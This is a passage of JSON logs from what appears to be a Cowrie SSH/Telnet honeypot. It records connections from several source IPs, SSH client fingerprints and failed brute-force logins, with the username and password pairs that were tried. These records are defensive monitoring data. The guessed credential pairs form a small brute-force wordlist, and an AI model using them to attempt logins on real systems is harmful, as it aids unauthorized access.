tm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:07:32.897772Z","src_ip":"68.183.236.1","session":"20ceaea13ec3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456Ab","message":"login attempt [ubuntu/123456Ab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:07:33.883497Z","src_ip":"68.183.236.1","session":"20ceaea13ec3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.148","src_port":60614,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f38417818ed","protocol":"ssh","message":"New connection: 165.154.5.148:60614 (10.17.0.5:22) [session: 2f38417818ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:07:34.671018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:07:34.675948Z","src_ip":"165.154.5.148","session":"2f38417818ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:07:34.894042Z","src_ip":"165.154.5.148","session":"2f38417818ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:07:35.124643Z","src_ip":"68.183.236.1","session":"20ceaea13ec3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa12345.","message":"login attempt [root/Aa12345.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:07:35.798714Z","src_ip":"165.154.5.148","session":"2f38417818ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:07:37.020596Z","src_ip":"165.154.5.148","session":"2f38417818ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":32936,"dst_ip":"159.203.135.109","dst_port":23,"session":"a43f7193e914","protocol":"telnet","message":"New connection: 176.29.26.223:32936 (159.203.135.109:23) [session: a43f7193e914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:07:59.721594Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35568,"dst_ip":"159.203.135.109","dst_port":22,"session":"b93a4a845bd7","protocol":"ssh","message":"New connection: 159.203.92.129:35568 (159.203.135.109:22) [session: b93a4a845bd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:08:13.498379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:08:13.519459Z","src_ip":"159.203.92.129","session":"b93a4a845bd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:08:13.527016Z","src_ip":"159.203.92.129","session":"b93a4a845bd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234@abc","message":"login attempt [admin/1234@abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:08:13.542091Z","src_ip":"159.203.92.129","session":"b93a4a845bd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:08:14.549743Z","src_ip":"159.203.92.129","session":"b93a4a845bd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":18200,"dst_ip":"159.203.135.109","dst_port":22,"session":"4db1c6d718bd","protocol":"ssh","message":"New connection: 2.57.121.112:18200 (159.203.135.109:22) [session: 4db1c6d718bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:08:26.928136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:08:26.933522Z","src_ip":"2.57.121.112","session":"4db1c6d718bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:08:27.061391Z","src_ip":"2.57.121.112","session":"4db1c6d718bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"197222","message":"login attempt [admin/197222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:08:27.675687Z","src_ip":"2.57.121.112","session":"4db1c6d718bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.148","src_port":38146,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e69fdcf3e54","protocol":"ssh","message":"New connection: 165.154.5.148:38146 (10.17.0.5:22) [session: 0e69fdcf3e54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:08:28.123357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:08:28.127999Z","src_ip":"165.154.5.148","session":"0e69fdcf3e54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1931","message":"login attempt [admin/1931] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:08:28.829298Z","src_ip":"2.57.121.112","session":"4db1c6d718bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"19121996","message":"login attempt [admin/19121996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:08:29.962369Z","src_ip":"2.57.121.112","session":"4db1c6d718bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"19121973","message":"login attempt [admin/19121973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:08:31.084744Z","src_ip":"2.57.121.112","session":"4db1c6d718bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:08:31.281697Z","src_ip":"165.154.5.148","session":"0e69fdcf3e54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":42516,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdb62154661e","protocol":"ssh","message":"New connection: 68.183.236.1:42516 (10.17.0.5:22) [session: cdb62154661e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:08:31.287659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:08:31.291653Z","src_ip":"68.183.236.1","session":"cdb62154661e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:08:31.537608Z","src_ip":"68.183.236.1","session":"cdb62154661e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"19111996","message":"login attempt [admin/19111996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:08:32.212469Z","src_ip":"2.57.121.112","session":"4db1c6d718bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qaz123...","message":"login attempt [ubuntu/qaz123...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:08:32.552405Z","src_ip":"68.183.236.1","session":"cdb62154661e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"lol123","message":"login attempt [debian/lol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:08:32.995768Z","src_ip":"165.154.5.148","session":"0e69fdcf3e54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:08:33.343293Z","src_ip":"2.57.121.112","session":"4db1c6d718bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:08:33.801461Z","src_ip":"68.183.236.1","session":"cdb62154661e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:08:34.247696Z","src_ip":"165.154.5.148","session":"0e69fdcf3e54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53510,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ae951966e85","protocol":"ssh","message":"New connection: 159.203.92.129:53510 (159.203.135.109:22) [session: 3ae951966e85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:08:57.806705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:08:57.811590Z","src_ip":"159.203.92.129","session":"3ae951966e85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:08:57.817684Z","src_ip":"159.203.92.129","session":"3ae951966e85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234QWERasdf","message":"login attempt [admin/1234QWERasdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:08:57.835339Z","src_ip":"159.203.92.129","session":"3ae951966e85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:08:58.842901Z","src_ip":"159.203.92.129","session":"3ae951966e85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.148","src_port":52796,"dst_ip":"10.17.0.5","dst_port":22,"session":"737a2cf9f006","protocol":"ssh","message":"New connection: 165.154.5.148:52796 (10.17.0.5:22) [session: 737a2cf9f006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:09:23.665078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:09:23.670449Z","src_ip":"165.154.5.148","session":"737a2cf9f006","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:09:23.890628Z","src_ip":"165.154.5.148","session":"737a2cf9f006","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz_@wsx","message":"login attempt [root/!qaz_@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:09:24.776262Z","src_ip":"165.154.5.148","session":"737a2cf9f006","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:09:25.993443Z","src_ip":"165.154.5.148","session":"737a2cf9f006","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":37330,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f9ca57fc3fd","protocol":"ssh","message":"New connection: 68.183.236.1:37330 (10.17.0.5:22) [session: 2f9ca57fc3fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:09:28.892074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:09:28.897539Z","src_ip":"68.183.236.1","session":"2f9ca57fc3fd","protocol":"ssh"}
